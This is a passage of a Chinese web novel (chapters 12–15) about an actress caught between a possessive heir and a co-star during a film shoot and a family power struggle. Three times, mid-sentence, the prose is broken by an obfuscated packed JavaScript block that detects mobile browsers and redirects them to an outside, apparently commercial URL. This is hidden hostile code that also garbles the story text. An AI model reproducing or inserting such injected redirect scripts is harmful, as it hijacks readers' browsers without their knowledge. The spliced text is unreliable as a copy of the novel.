“又是隐喻。”周游嗤笑一声,放下画纸,眼神陡然变得深暗,“我最讨厌这一套。SiSi,我们要玩就玩真的。” 接着他从口袋里拿出一个深蓝色的天鹅绒盒子。 里面是一条墨绿色的丝绸发带。 “转过去。” 他站起身,走到她身后。手指穿过她的发丝,那种力度并不温柔,甚至扯得头皮发麻。他在笨拙却强硬地试图将她这头乱发束规矩。 “SiSi,你的头发很软。”他在她耳后低语,那个名字叫得极其轻浮,把高傲的“Cecilia”简化成了掌中玩物的代号。 “听说头发软的人,心也软,好拿捏。” “那你听错了。”易为春侧过头挑衅,“头发软是因为善变,这秒是这个形状,下秒就溜走了。” 周游动作一顿,猛地勒紧发带。 易为春吃痛仰头,修长的脖颈被迫拉成一道献祭般的弧线。 “想溜?” 他低下头,长发垂落如幕布,遮住了所有的光。 这一次,他没有吻她,而是张开嘴,狠狠咬在了她喉尖侧面最敏感的皮肤上。牙齿研磨,舌尖舔舐。 那种疼痛混杂着电流,让易为春眼角逼出了泪。 “属狗的?”她颤声道。 “我是你的噩梦。” 周游的手从她领口探进去,摸到了那片空的锁骨窝。 “扣子呢?把它做成项链戴上。” 他松开手,居高临下地看着她颈侧那枚红艳的齿痕,满意地勾起嘴角。 “下次我要看见它挂在你脖子上。如果不戴,SiSi……”他轻佻地扯了扯那根刚系好的发带,“我就把你这满脑子的坏主意,连同这头乱发,一起剃干净。” 临走时,他拿走了那张画。 “名字取错了。”风雪涌入,他回头,神情是一贯的凉薄与洞悉。 “不叫《被捆绑的神》,应该叫——《愿者上钩》。” “Cut、过了!非常完美!这就是我要的周游!”段南桥激动得有些语无伦次。 没有工作人员敢立刻上前。 周彻已经“出戏”了——或者说,他根本不需要出戏。他只是从道具椅上站起来,神情淡漠地理了理衬衫被扯乱的领口,指腹抹去唇角沾染的一点属于她的口红和津液。 那动作,优雅,又透着一股餍足后的凉薄。 他走到商颂身后。商颂感到背后的空气骤然变冷,下意识地瑟缩了一下。 一只温热却有力的大手贴上了她的后颈,恰好覆盖在那枚刚被他咬出的红痕上。 “疼?”他在她耳边低语。 明明是戏里的那句台词,此时在戏外说出来,却像是一句毛骨悚然的警告。 “没……没有。”商颂不敢回头。 “那就好。”周彻轻笑了一声,手指摩挲着那处齿痕,“去休息吧。下一场还要哭,留点力气。” 他说完,转身走向专属的休息区,助理立刻递上了并未熄灭的雪茄。 商颂在小艾的搀扶下回到了化妆间。 门一关上,她就像是被抽去了骨头,软倒在椅子上。 这个男人太疯了。 手机在化妆台上震动了一下。 商颂神经质地抖了一下。 她拿过手机,原本只是想看个时间,却被屏幕上弹出的一条财经新闻推送刺痛了双眼。 通常她不看这些,但那个标题太扎眼—— 【周氏集团欧洲物流枢纽遭反垄断突击调查,数亿货物被扣苏黎世港,周系股价盘中闪崩跌停】 苏黎世。 欧洲航运。 大雪封路,货物被扣。 商颂的手指瞬间凉透了。 这剧情……怎么和《窥镜》里的剧本一模一样? 在戏里,那个大雪纷飞的夜里,周游之所以会那么煮青蛙式地折磨易为春,就是因为家族生意在那边崩盘,他在等一个毁灭的结局。 而现在,现实正在与剧本发生着某种惊悚的互文。 她颤抖着点开新闻。 晦涩的金融术语她看不大懂,但几个关键词触目惊心:“举报”、“内部资料泄露”、“董事会紧急问责”。 这不仅是一场商业危机,这是一场蓄谋已久的背刺。 那个名字几乎是瞬间跳进她的脑海——周晔。 那个笑着转动沉香佛珠的周家二公子。 周彻那天是怎么做的? 他在饭桌上掀了周晔的脸皮,甚至不仅没有收敛,反而变本加厉地进了剧组,亲自下场演这个男二,在众目睽睽之下和她在镜头里调情、撕扯。 这是对周晔,也是对整个周氏董事会最嚣张的打脸。 “我偏要。” 这就是周彻的态度。哪怕洪水滔天,他也要先在他的伊甸园里,把这条反骨未平的金丝雀驯服。 门锁突然响动。 商颂吓得差点把手机扔出去。 门推开,进来的不是别人,正是周彻。 他并没有换回私服,依然穿着戏里那件松松垮垮的黑色真丝衬衫,长发在脑后随意地扎着——那是上一场戏里易为春给他扎的。 他手里夹着那根刚抽了一半的雪茄,烟雾缭绕中,他的神情看不真切,“看什么呢?脸色这么白。” 周彻反手关上门,并在商颂紧缩的瞳孔注视下,慢条斯理地落了锁。 商颂下意识地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126699|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想把手机藏到身后,但已经来不及了。 周彻的目光太锐利,一下子就锁定了她还没熄灭的屏幕。 他走过来,脚步声在地板上踏出令人心慌的节奏。他伸手,不容拒绝地从她手里抽走了手机。 屏幕上,那条关于“周氏股价崩盘”的红字新闻还在滚动。 死一般的寂静。 只有空调出风口细微的嗡鸣声。 商颂觉得自己像是等待宣判的死刑犯。她不知道这头受了伤的狮子,会不会在看完新闻的下一秒,就露出獠牙撕碎她。 然而,周彻却笑了。 那笑容很短,带着一丝不出所料的轻蔑。 “消息传得挺快。”他把手机随意地扔在化妆台上,“看来周晔这次是花了大价钱买热搜。” “……是真的吗?”商颂问。 周彻拉过一把椅子,在她面前坐下。两人的膝盖抵着膝盖,就像戏里在那间破阁楼吃面时一样。 他甚至伸出手,替她理了理领口,动作温柔,眼神却深不见底。 “你是指货物被扣,还是指股价跌停?”他漫不经心地问,“如果是指这些,那就是真的。” 商颂的心猛地沉了下去。 “那……那你为什么还要在这里?” 她无法理解。既然家里都要着火了,既然那艘船都要沉了,他为什么还有闲心在这里演戏?为什么还要在这里为了一个镜头、为了给她脖子上留个印记而浪费时间? “因为这是周晔想看的。” 周彻的手指沿着她的脸颊滑落,停在她微微颤抖的下巴上,稍微用力,迫使她抬起头。 “他在熬我。我也在熬他。” 周彻眼里的光很冷,却又带着一种赌徒般的狂热,“他以为制造点混乱,我就会为了利益,灰溜溜地滚回董事会,为了那几条航线向那群老不死低头,甚至把你送走来平息所谓的‘红颜祸水’的舆论。” 他吸了一口万宝路,青白的烟雾喷洒在商颂脸上,呛得她想咳嗽却不敢。 “但我偏不。” 他在烟雾中眯起眼,“就像戏里周游说的那样——船破了就破了。载着垃圾的船,沉了也就沉了。我不在乎。” 商颂震惊地看着他。 疯子。彻头彻尾的疯子。 他为了这口不肯低头的气,为了这点病态的掌控欲,竟然真的打算就在这暴风雨里,眼睁睁看着船沉下去? “怕了?” 周彻察觉到了她的战栗。 他俯身,逼近她的脸。 “商颂,现在你知道易为春当时是什么感觉了吧?” 他的声音低沉,带着蛊惑人心的魔力,“她不仅是在和周游调情,她是在和一艘即将沉没的泰坦尼克号调情。而现在的你……” 他的手掌猛地扣住她的后脑勺,再一次吻了上来。 这不是戏。 这一次没有镜头,没有打光板。只有昏暗的化妆间,和门口或许随时会冲进来的债权人或狗仔。 这个吻充满了烟草的苦味和绝望的戾气。 他在发泄。 他在用这种最原始的方式,向周晔,向那个正在崩塌的商业帝国宣战:看好了,我失去了一切,但我依然拥有她。 “唔……” 商颂被他吻得无法呼吸,眼角沁出了生理性的泪水。 许久,周彻才松开她。 他看着她被蹂躏得殷红的唇,满意地拇指拭去她嘴角的湿痕。 “别怕。” 他贴着她的额头,低声道,“只要戏还没杀青,我就依然是周游。外面的天塌下来,也有周家那个空壳子先顶着。” “接下来的戏,你要演得更好一点。” 他眼底闪过一丝疯狂的光,“我要让周晔看看,他费尽心机搞出来的这场‘意外’,最后成全的是谁的快感。” 商颂怔怔地看着他。 在这一刻,她忽然意识到一件事—— 周彻可能比戏里的周游还要可悲。 周游是因为孤独而寻求毁灭,而周彻,是为了证明自己对她的绝对占有,不惜亲手拉响了毁灭的引信。 这是一场豪赌。 而她,是被钉在赌桌中央的那张唯一的底牌。 “咚咚咚。” 急促的敲门声突然响起,打破了这令人窒息的氛围。 “周大少!您在里面吗?”门外是助理明显慌乱的声音,“总公司那边来人了,说是董事会的几个监事……” 周彻眼里的温情瞬间退去,恢复了一贯的冰冷坚硬。 他直起身,整理了一下衣领,随手掐灭了那半截雪茄。 “听到了?”他看着商颂,嘴角勾起一抹讥讽的笑,“讨债的来了。” 他转身走向门口,手搭在门把手上时,却又停了一下。 但他没有回头。 “今晚去我那儿。” 他留下了这句话,“易为春答应周游要戴的那条项链……你应该没忘吧?商颂,把自己洗干净。我不想看见你身上有哪怕一丝除了我之外的味道。” 门开了,又关上。 喧嚣涌入,又被隔绝。 13. 第 13 章 周彻起得很早。 当商颂从昏沉中醒来时,房间里只有细微的布料摩擦声。 他正站在穿衣镜前,已经脱去了昨夜戏里那件落魄的黑衬衫,换回了属于周氏掌舵人的铁灰色定制西装。领带打得一丝不苟,勒在喉结下方。 “醒了?” 他透过镜子的反光看到了她。 商颂裹着被子坐起来,浑身酸痛。昨夜的“对戏”太过漫长,此刻她身上还残留着那种窒息的被占有感。 “这么早要去哪?” 周彻慢条斯理地扣上袖扣,那颗蓝宝石发出“咔哒”一声轻响。 “回趟老宅。” 他转过身,随手理了理衣摆,“有些陈年的垃圾,堆在那儿太碍眼,是时候回去清理一下了。” “清理……什么?” 她太熟悉周彻这种语气了。 “清理那个自以为抓住了我把柄,就能爬到我头上的弟弟。”周彻走到床边,俯身,指腹冰凉地划过她的脸颊,“乖乖在这里等我。我去处理点‘私事’,如果不顺利,可能会有点动静。不用看新闻,都是假的。” 有些私事,见不得光。 所谓的“有点动静”,在周彻的语境里,往往意味着不可挽回的毁灭。 商颂的脑海里瞬间闪过一副久远的画面。 那是六年前的那个雨夜,后巷。 少年时期的周彻,还没有学会如今这样完美的伪装。那时候的他更加阴鸷、直接。 当他找到那个几次三番在放学路上对商颂吹口哨、动手动脚的男生时,没有任何废话,没有一句警告。 商颂只记得那根用来防身的钢管,还有那种骨头在皮肉下断裂的脆响。 雨水混着血水流进下水道。 周彻就站在那里,校服衬衫上溅满了那个男生的血点。他回头看她,眼神也是像现在这样,平静,甚至带着一点因为替她除掉了害虫的快意。 “处理干净了。”那时候他这么说。 那个男生后来退学了,听说断了一条腿,终身残疾。 那只是一个没有什么背景的高中生。 而现在,是周晔。是那个手里捏着周家半壁江山、背后站着一帮董事会老狐狸的周晔。 周彻这个时候回老宅,绝不是去讲道理的。在事业受挫、被兄弟背刺的盛怒之下,他这是要去“弑亲”。 如果他真的动了手?如果周晔出了什么事? 那不仅仅是豪门丑闻,那是会让他万劫不复的深渊。他会从受害者变成施暴者,变成真正的罪犯。 恐惧像潮水一样没顶而来。 不是为了周家,甚至不全是恐惧他,而是一种不愿看到那个曾在雨里保护她的少年彻底沦为坏种的悲悯。 “别去。” 商颂猛地伸出手,抓住了他的衣袖。 那力道很大,甚至因为手指的颤抖而显得有些痉挛。 周彻动作一顿,垂眸看着那只抓着自己袖口的手。 “怎么?舍不得我?”他轻嘲道,“还是怕我输给周晔?” “不是……” 商颂深吸一口气,指甲几乎要嵌进那昂贵的西装布料里。她知道,此刻任何关于理智、法律或者是亲情的劝说,对这头已经红了眼的狼来说都是废话。 唯有“笼子”,能留住他。 唯有那个属于他们两人的虚构的笼子。 她抬起头,眼神里带上了孤注一掷的痴缠。 “周彻,戏还没拍完。” 她的声音微哑,“今天最后一场,是易为春手刃周游的情节。” “让我去演一具被女人开膛破肚的尸体?你觉得我的身体是谁都可以意淫着捅两刀的?”周彻微微眯起眼,“且不说戏可以明天拍。或者不拍也无所谓。只要我解决了周晔,这部戏你想拍成什么样都随你。” “不行。” 商颂固执地抓着他,不让他转身,“就今天。如果不拍,那种情绪就断了。” 她从床上下来,赤着脚踩在地毯上,不顾自己此刻的衣衫不整,走到他面前,伸手去解他刚刚才系好的那条领带。 周彻抓住了她的手。 “商颂,你在干什么?”他的声音沉了下来,带着警告,“别在这个时候跟我闹。” “我没闹。” 商颂直视着他的眼睛,“周晔不值得你现在回去弄脏手。让他再得意一天又能怎么样?他在等着看你发疯,看你失控。你现在回去,才是真的输了。” 她反手握住他的手,将他的掌心贴在自己的脸颊上。 “留下来。” 她轻声说,“留下来做我的周游。比起看那些血淋淋的新闻,我更想在镜头里……看着你破碎。” 周彻的瞳孔猛地收缩。 他死死地盯着眼前这个女人。 她是为了拦住他。他知道。 可这理由太动人了。动人到正好击中了他那种变态的被关注欲和掌控欲。 空气在这一秒凝固,胶着。 窗外的雾气更重了,世界白茫茫一片。 良久。 周彻松开了原本紧绷的下颌线,那种已经在爆发边缘的杀意,被这种名为艺术的柔软强行压了回去。 “你胆子越来越大了。” 他冷哼一声,却松开了那只已经按在门把手上的手。 反手一扯,将脖子上那条象征着身份的领带扯松,随意地扔在地上。 那条深灰色的丝绸蜿蜒在地毯上,像是一条死去的蛇。 “好。” 他看着她,眼底翻涌着深暗的欲念,那是比杀意更粘稠的东西。 “那就依你。留下来,把这场戏演完。” 他俯身,凑近她的耳畔,“既然你不让我去老宅见血,那今天在片场,你最好能把自己全部剖开,让我见到点真正有颜色的东西。否则……” 他没有说后果。 只是用那双总是令人心惊的凉薄嘴唇,在她额头上印下了一个带着火药味的吻。 海边的风停了。 正如周彻所言,连老天爷都在配合这位大少爷的兴致。 那艘从航运大亨手里调来的豪华游艇静静地停泊在近海,落日如一泼浓稠的铁水,将海面和甲板浇筑成一片死寂而奢靡的金红。 甲板上被清场,只留下最重要的摄影师。 没有惊心动魄的打斗,也没有歇斯底里的争吵。 这里只有一张纯白的日光浴躺椅。 周彻——此刻他是刚结束一场有毒的性|爱、正慵懒地闭目养神的周游。 他的白衬衫完全敞开,胸前贴着好莱坞级别的特效人皮,下面埋设着血包和那一颗预先准备好的“道具心脏”。 即便如此,他看起来依然是一尊圣洁而不可侵犯的雕塑。苍白的肤色在夕阳下泛着冷光,每一根肌肉线条都写着“昂贵”。 商颂穿着那件曾让他惊艳的黑色吊带裙,裙摆被海水打湿了一角。 她手里没有拿刀。 阿春不需要刀,阿春有一把更锋利的手术剪。 “Action。” 镜头推得很慢,像是怕惊扰了这场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126700|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神圣的仪式。 商颂跪在躺椅的一侧。 她没有急着动手,而是伸出手,像是情人间的爱抚一样,从周彻的眉骨摸到了他的下巴。 她的指尖在颤抖,不是因为害怕,而是因为那种终于要得到解脱的兴奋。 “周游。” 她轻轻叫了一声他的名字。 周彻没有睁眼,他甚至没有一丝身为“濒死者”的恐惧。他的嘴角勾起一抹嘲讽的弧度。 仿佛在说:来吧,让我看看你怎么毁了我。 “你太吵了。”商颂低语,像是在跟一个不懂事的孩子说话,“你的钱很吵,你的傲慢很吵,你说爱我的时候……尤其吵。” 她拿起了那把剪刀。 冰冷的金属映着血色的夕阳。 “呲。” 剪刀刺破特效皮肤的声音,在安静的海面上显得格外刺耳。 没有那种夸张的喷溅式出血,血液顺着那道口子缓缓蜿蜒而出,染红了周彻雪白的衬衫,也染红了商颂的手。 周彻的睫毛微不可察地颤动了一下,随后归于死寂。 他在演一具尸体,但他用全身放松到毫不反抗的姿态,演出了一种“我把命给你玩”的纵容。 商颂的手探进了那个切口。 这是一个极其血腥却被处理得唯美的画面。 金色的阳光,暗红的血,苍白的男人,和绝美的女人。 她的手在那个温暖湿润的胸腔里摸索,像是在那片废墟里寻找最后一颗宝石。 终于,她握住了那个东西。 那个用昂贵硅胶制成的沉甸甸的心脏道具。 商颂将它掏了出来。 血液滴滴答答地落在纯白的躺椅上,她双手捧着那颗心,把它举到了夕阳面前。 商颂看着那颗心,眼里的光明明灭灭。 她哭了。 那眼泪不是悲伤,而是一种彻头彻尾的空虚。 就像她曾经说的——如果没有了他,那就是一场好看的烟花。 “看啊。”商颂转过头,对着那个“死”去的周游,脸上带着天真又残忍的笑,将那颗心递到他紧闭的眼睛前,“真的很安静,对不对?” 她低下头,红唇轻启,在这颗沾满“周彻鲜血”的心脏上,虔诚地印下了一个吻。 在吻上的那一刻,商颂透过余光,看到了周彻那个正在滑动的喉结。 他没忍住。 在这种被剖析、被占有、被毁灭的极致快感里,这位向来克制的大少爷,吞咽了一口名为“商颂”的毒药。 夕阳的最后余晖落在两人身上。 一个是永恒的死者,手里什么都没有。 一个是疯狂的生者,手里握着他的一切。 “Cut!绝美!!” 段南桥的双瞳中带着那种目睹了艺术品诞生后的战栗。 商颂并没有立刻放手。 她依然捧着那颗假心,手上的血浆黏糊糊的,正在变凉。 周彻缓缓睁开眼。 那双眼睛里没有丝毫刚才的“尸气”,反而亮得惊人,里面翻涌着深不见底的暗潮。 他坐起身,甚至不顾胸前那一团乱糟糟的血浆和伤口特效。 他伸出手,一把扣住了商颂满是血污的后脑勺,没有嫌弃,也没有犹豫,狠狠地吻上了她那张刚刚吻过他“心脏”的唇。 这是一个宣誓主权的深吻。 在这个虚构的死亡现场,周彻在用这种方式告诉所有人,也告诉商颂: 就算把心挖出来了,你也还是我的。 14. 第 14 章 “回京。” 周彻没有告别。甚至连最后一眼回望都显得多余。 商颂向段南桥请假时,撒了一个拙劣的谎。她卸掉了所有关于“易为春”的妆容,甚至不敢穿平时那几件被街拍号扒烂了的名牌。她换了一身最不起眼的黑色羽绒服,戴着能遮住大半张脸的毛线帽,缩在一辆黑车后座。 目的地是“云极别院”。 那是隐藏在皇城根下只有极少数顶层圈子才知道的销金窟。距离周家那座阴森的老宅不过隔着两条胡同,据说以前是哪位亲王的别苑,如今成了京圈权贵们密谋私事最爱去的地方。 那里不接待散客,大门是一扇常年紧闭的朱漆铜门。商颂自然进不去,但她记得周彻以前无意中提起过,别院的西侧紧邻着一片还没来得及拆迁的杂乱民居,有一家位置极佳的老茶馆,二楼正对着别院那处名为“雪月轩”的水榭。 那地方虽看不清全貌,却能透过落地窗窥见里面的光影。 对于此刻如同惊弓之鸟的商颂来说,哪怕只是一眼确认周彻没有拿刀杀人,也是救赎。 商颂坐在那间满是陈旧茶渍味道的包厢里,手里捧着一杯早已凉透的劣质茉莉花茶。窗户开了一条缝。 她的心脏在胸腔里剧烈撞击,预设了无数种血腥的场面:周彻暴怒摔杯,或者是周晔跪地求饶。 然而,当那扇窗后的卷帘被人缓缓拉起一半时,那一刻,世界仿佛被按下了静音键。 并没有剑拔弩张。 水榭里陈设极雅,紫檀木的博古架上摆着几只插着残荷的宋瓷。 周晔坐在主位上。他并没有穿平日里那种伪善的西装,而是穿了一件墨绿色的盘扣夹棉长衫,手腕上那串蜜蜡珠子在灯下泛着油润的贼光。他脸上的表情是一种得意甚至是慈悲的松弛。 而坐在他对面,背对着商颂这个方向的人…… 那个背影,商颂太熟悉了。 熟悉到甚至在看到的那一秒,她的大脑出于自我保护机制,甚至产生了一种名为“不可能”的排斥反应。 那人穿着一件简单的牛仔蓝连帽衫,脊背并不像周彻那样时刻紧绷如弦,而是带着一种稍微有些驼背的慵懒和清瘦。 他侧过头,露出半张轮廓流畅的侧脸,鼻梁挺拔,下颌线干净。 是伯雪寻。 那个应该在几千公里外的香港,循着蛛丝马迹寻找故意失踪的阿春的代sir。 那个商颂心心念念想要保护的不染尘埃的“孤岛”。 他为什么会在这里? 还是在周彻即将回京“杀人”的这个敏感节点,和周晔坐在同一个私密的茶室里? 隔得太远,商颂听不见他们在说什么。 但画面本身的张力已经足够撕碎她的认知。 周晔似乎心情极好,他亲自拎起那把宜兴紫砂壶,给伯雪寻倒了一杯茶。那个动作并没有带着上位者对戏子的轻慢,反而有一种拉拢盟友的殷切。 伯雪寻并没有拒绝。 他甚至伸出了两根手指,在那张昂贵的黄花梨桌面上轻轻敲了两下——那是标准的叩指礼,是这个圈子里默认的某种契约达成的信号。 接着,周晔从袖口里掏出了什么东西。 不是剧本,不是合同。 是一个深褐色的牛皮纸信封。 信封被推过桌面,停在伯雪寻面前。 伯雪寻垂下眼眸,视线在那信封上停留了片刻。商颂屏住呼吸,期待着他下一秒会不屑地将其推开,或者是起身离去。 但他没有。 他伸出手。 商颂的脑海里不受控制地闪过这只手覆在她胸口的触感。 灼热、有力,带着不容抗拒的粗暴。 也是好用得要命,她几次都颤得瘫在他肩上。 而现在这只手缓缓按在了那个信封上。指尖微微用力,将其压实,顺着桌面滑进了自己的衣袋里。 随后,他抬起头,对着周晔露出了一个笑。 那笑容带着一种令人心惊的了然与讽刺。 商颂的指甲深深掐进了掌心里。 像是脚下的地板突然塌陷,露出了下面腐烂生蛆的真相。 那信封里装的是什么? 钱?还是关于周彻的更致命的把柄? “看得清楚吗?” 商颂浑身剧烈一抖,手中的茶杯“哐当”一声翻倒在桌上,褐色的茶水顺着桌沿淌下。 她僵硬地回过头。 包厢不知何时多了一个人。 门没有关严,那人就站在半明半暗的阴影里。 周彻。 他换了一身回老宅的行头,是一件深黑色的立领中山装,扣子系到了最上面一颗,越发衬得他面容冷白,眼神漆黑如墨。他手里并没有拿刀,只是两指之间夹着一根并未点燃的万宝路,烟草味混着外面带来的冷风,瞬间占据了这个逼仄的空间。 “周……周彻?”商颂的嘴唇在发抖。 她本以为他是去赴周晔的鸿门宴,是那个即将走进陷阱的受害者。 可现在,他站在这里,居高临下地看着她,神情平静得可怕。 “不是说去急诊吗?”周彻走过来,脚步声很轻,“怎么,跑到这种地方来看另外一出戏?” “这是怎么回事?”商颂的手指指向窗外,“伯雪寻为什么会在那儿?” 周彻顺着她的手指看了一眼,嘴角勾起一抹讥诮的弧度,“这就要问问你那位纯洁无瑕的好搭档了。” 周彻侧过身,一把扣住商颂的后脑勺,强迫她贴近那个漏风的窗缝,看着下面那场正在进行的交易。 “你看他的坐姿。” 周彻的声音低缓,“放松,向后靠,甚至有些轻蔑。这不是被逼迫的姿态,这是待价而沽。他在和周晔谈判,谈的是如何把我这艘快沉的船彻底凿穿。” 画面里,伯雪寻拿起桌上的一盒火柴,“刺啦”一声划燃。 他并没有点烟,而是看着火苗跳动,然后侧头对周晔说了句什么。周晔听完,大笑起来,伸手重重地拍了拍伯雪寻的肩膀。 这一次,伯雪寻没有躲。 他的肩膀只是微微沉了一下,然后,他也笑了。 那个笑容,和当初商颂在《窥镜》定妆照里看到的“周游”的笑,竟有了五分相似。 冷漠,厌世,却又贪婪。 “他在学我。” 周彻贴着商颂的耳朵,给出了最精准的评价,“商颂,他没你想的那么蠢。他在片场看着我演周游,不光是在演戏,他是在‘吞噬’我。他在学习怎么变成一个资本的怪物,因为他发现,清高救不了他的命,也还不清那三个亿的对赌。” “他和你不一样。” 周彻的手掌摩挲着商颂冰冷的后颈,“你是想剪断我的头发,让我变回人。而他是想剪断我的喉咙,然后踩着我的尸体,变成下一个神。” “不可能,”商颂摇着头,“他不是这种人……” “不是?” 周彻轻笑一声,从口袋里拿出手机,点开了什么东西,然后将屏幕举到商颂眼前。 那是一张高糊的抓拍照片。 伯雪寻从那辆属于某公司女高层的私车上下来。 “为了一个能翻身的机会,他可以和任何人睡。甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126701|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果价码合适,把你卖了,对他来说也就是签个合同的事。” “那封信里,是我在欧洲那几条灰色航线的关键证人名单。”周彻平静地扔下最后一颗炸弹,“只有我知道这东西在哪。但我故意让他偷听到了线索。结果呢?” 结果,伯雪寻把这个线索变现了。 他不是戏里的刑警,他是现实里的犹大。 商颂感到胃里一阵翻江倒海的抽搐。 那种信仰崩塌的声音,比骨头断裂还要刺耳。 当时她以为那是救赎。现在看来,那是掠夺。 他在等的不是她的自由,而是瓜分周彻尸骨的狂欢。 “为什么要让我看这些?” 商颂转过身,背靠着冰冷的墙壁,瘫软地滑坐下去。她抬起头,绝望地看着眼前这个早就布好了局的男人。 原来这一趟“回京”,从一开始就是假的。 周彻没有疯,也没有失控。他在片场演的那场“暴戾”,不仅仅是演给周晔看,更是为了把这只藏在暗处的狼引出洞。 “因为我想让你明白一个道理。” 周彻蹲下身,视线与她平齐。 这间破败的茶馆包厢里光线昏暗,只有他那双眼睛亮得像鬼火。 “这世上没有什么是干净的。” 他伸手,一点点擦去她脸上的泪痕,动作极尽温柔,“所谓的白月光,不过是因为还没有沾上泥点子。一旦给了他足够大的诱惑,他烂得比谁都快。” “商颂,能保护你的,只有这个笼子。” “你看,”他指了指窗外,语气里透着一种胜利者的怜悯,“他在忙着往上爬,他在忙着把灵魂卖个好价钱。现在,只有我在陪着你哭。” 窗外的“雪月轩”里,交易似乎结束了。 伯雪寻站起身,拿起那件深蓝色的牛仔外套随意地搭在肩上。他在临出门前,停下脚步,回头看了一眼周晔,嘴唇微动,说了一句话。 商颂读不懂唇语。 但周彻看懂了。 他低声替她翻译: “他说——‘周二少,这把剪刀,我借您用了。’” 剪刀。 他果然在把自己当成那把可以弑神的剪刀。只不过这一次,握着刀柄的人从易为春,变成了周晔。 “回去吧。” 周彻站起身,向她伸出手。那只手干净,修长,带着掌控一切的力量。 “这场戏落幕了。接下来该我也上场了。我的好弟弟既然收了这份大礼,我总得让他知道,这礼盒里装的是惊喜,还是炸弹。” 商颂看着那只手。 又看了一眼窗外那个正在走出别院、消失在暮色中的瘦削背影。 那个曾经在雨夜里给她递过玫瑰、给她戴过耳机、和她分享过同一根烟的少年,在此刻彻底死了。 一种无边无际的荒凉淹没了她。 她以为她是站在岸边的人,却发现她始终都在水里。而那些原本以为是救命稻草的东西,全都是吃人的水草。 商颂慢慢地伸出手,放进了周彻的掌心。 冰凉入骨。 “周彻,”她低声唤他,“你说得对。” “……船沉了。大家都得死。” 周彻握紧了她的手,将她从地上拉起来,紧紧扣进怀里。 他看着窗外那片苍灰色的天空。 这一局熬鹰,他赢了。 虽然手段卑劣,但他成功地斩断了这只鸟最后一根向往天空的翎羽。 从此以后,她是真正属于他的了。在这个烂透了的人世间,他们将是彼此唯一腐烂而又忠诚的共生体。 15. 第 15 章 转组片场设在九龙一个废弃的旧码头仓库里。 闷热,潮湿,混杂着发霉的木头味和海腥味。 伯雪寻刚刚结束一场极耗心力的审讯戏。 他坐在那个光影斑驳的角落里,身上那件“代献秋”的黑衬衫被汗水微微浸湿,贴在清瘦却紧实的脊背上。化妆师还没来得及给他补妆,他有些脱力地仰着头,喉结随着吞咽水的动作上下滚动。 眉眼间凝着霜雪,拒人于千里之外。 没人知道,在那具高不可攀的顶流皮囊下,藏着怎样一种哪怕把自己烧成灰烬也要往上爬的执念。 商颂坐在一堆乱七八糟的缆线后面,手里握着那个已经在手心里被焐热的手机。 她的目光穿过熙攘的人群,像是要把那个坐在暗处的人看穿。 几个小时前,她亲眼看着他接过了周晔给的“卖命钱”。 现在,她想看看他还要怎么演。 似有所感,伯雪寻侧过头。 隔着充满尘埃的光柱,那双总是因为过于清澈而显得深情的眼睛,精准地撞上了她的视线。 没有笑。 在人前,他连嘴角那一点弧度都吝啬给予。 他只是面无表情地看着她,手指微动,将那截原本夹在指尖的道具烟掐断,然后抬起手,食指极快、极其隐晦地碰了一下自己的左耳廓。 视线往仓库那扇对着大海的生锈铁门一瞥。 “咚。” 商颂的心脏重重一跳。 那个暗号。 商颂感到一种恶心的荒谬感。 他刚刚为了利益出卖了尊严,转身就能若无其事地用这种专属于初恋的干净暗号来邀请她。 他把这一切切分得太好了。周晔那一边是生意,她这一边是情怀。 行啊。 商颂合上剧本,站起身,眼底一片冰冷。 你想去海边看星星?那我就陪你去看看,这浑浊的香江夜空下,还能有什么干净的东西。 石澳道。 这是一条在香江极为隐秘且崎岖的沿海公路,两旁是疯长的南洋阔叶植被,像张牙舞爪的鬼影。 伯雪寻开的是一辆借来的旧款丰田,没有豪车的隔音,风噪很大。 他换掉了戏服,穿了一件质地极软的黑色真丝衬衫,领口开得有点大,露出锁骨窝里那颗若隐若现的小痣。海风灌进来,衬衫鼓荡,显出一种落拓不羁的性感。 “热吗?” 他单手握着方向盘,另一只手很自然地调低了空调出风口,并没有看她,只是余光一直若有似无地罩着她。 “这边的路有点绕,晕车的话,储物格里有薄荷膏。” 商颂靠在副驾上,看着窗外黑沉沉的海面。 “不热。心凉着呢。”她意有所指地淡淡回了一句。 伯雪寻似乎没听出她话里的刺,或者说,他习惯了商颂在他面前这种不用伪装的小性子。他嘴角终于露出一丝放松的笑意,那种在镜头前的清冷面具,在这一刻无声地碎裂,流露出里面那个闷骚却温柔的少年。 他趁着红灯,变戏法似的从旁边拿出了一个旧保温杯。 这杯子商颂认识,是很多年前他还没红的时候,在地摊上买的。 “给你。”他递过来。 商颂接过来,拧开。 